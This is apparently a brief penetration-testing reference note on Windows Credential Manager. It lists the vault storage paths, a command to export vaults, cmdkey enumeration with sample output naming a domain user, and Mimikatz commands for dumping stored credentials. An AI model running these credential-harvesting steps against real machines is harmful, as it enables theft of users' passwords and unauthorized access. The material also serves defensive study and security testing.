Storage paths (protected and encrypted):

• %UserProfile%\AppData\Local\Microsoft\Vault\
• %UserProfile%\AppData\Local\Microsoft\Credentials\
• %UserProfile%\AppData\Roaming\Microsoft\Vault\
• %ProgramData%\Microsoft\Vault\
• %SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\

It is possible to export Windows Vaults to .crd files, either via Control Panel or following command.

Backups are encrypted with a password supploed by the user, and can be imported on other Windows Systems.

rundll32 keymgr.dll,KRShowKeyMgr

Enumerate creds with cmdkey

cmdkey /list

Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic
    User: 02hejubrtyqjrkfi
    Local machine persistence

    Target: Domain:interactive=SRV01\mcharles
    Type: Domain Password
    User: SRV01\mcharles

With Mimikatz

privilege::debug
sekurlsa::credman

Writeup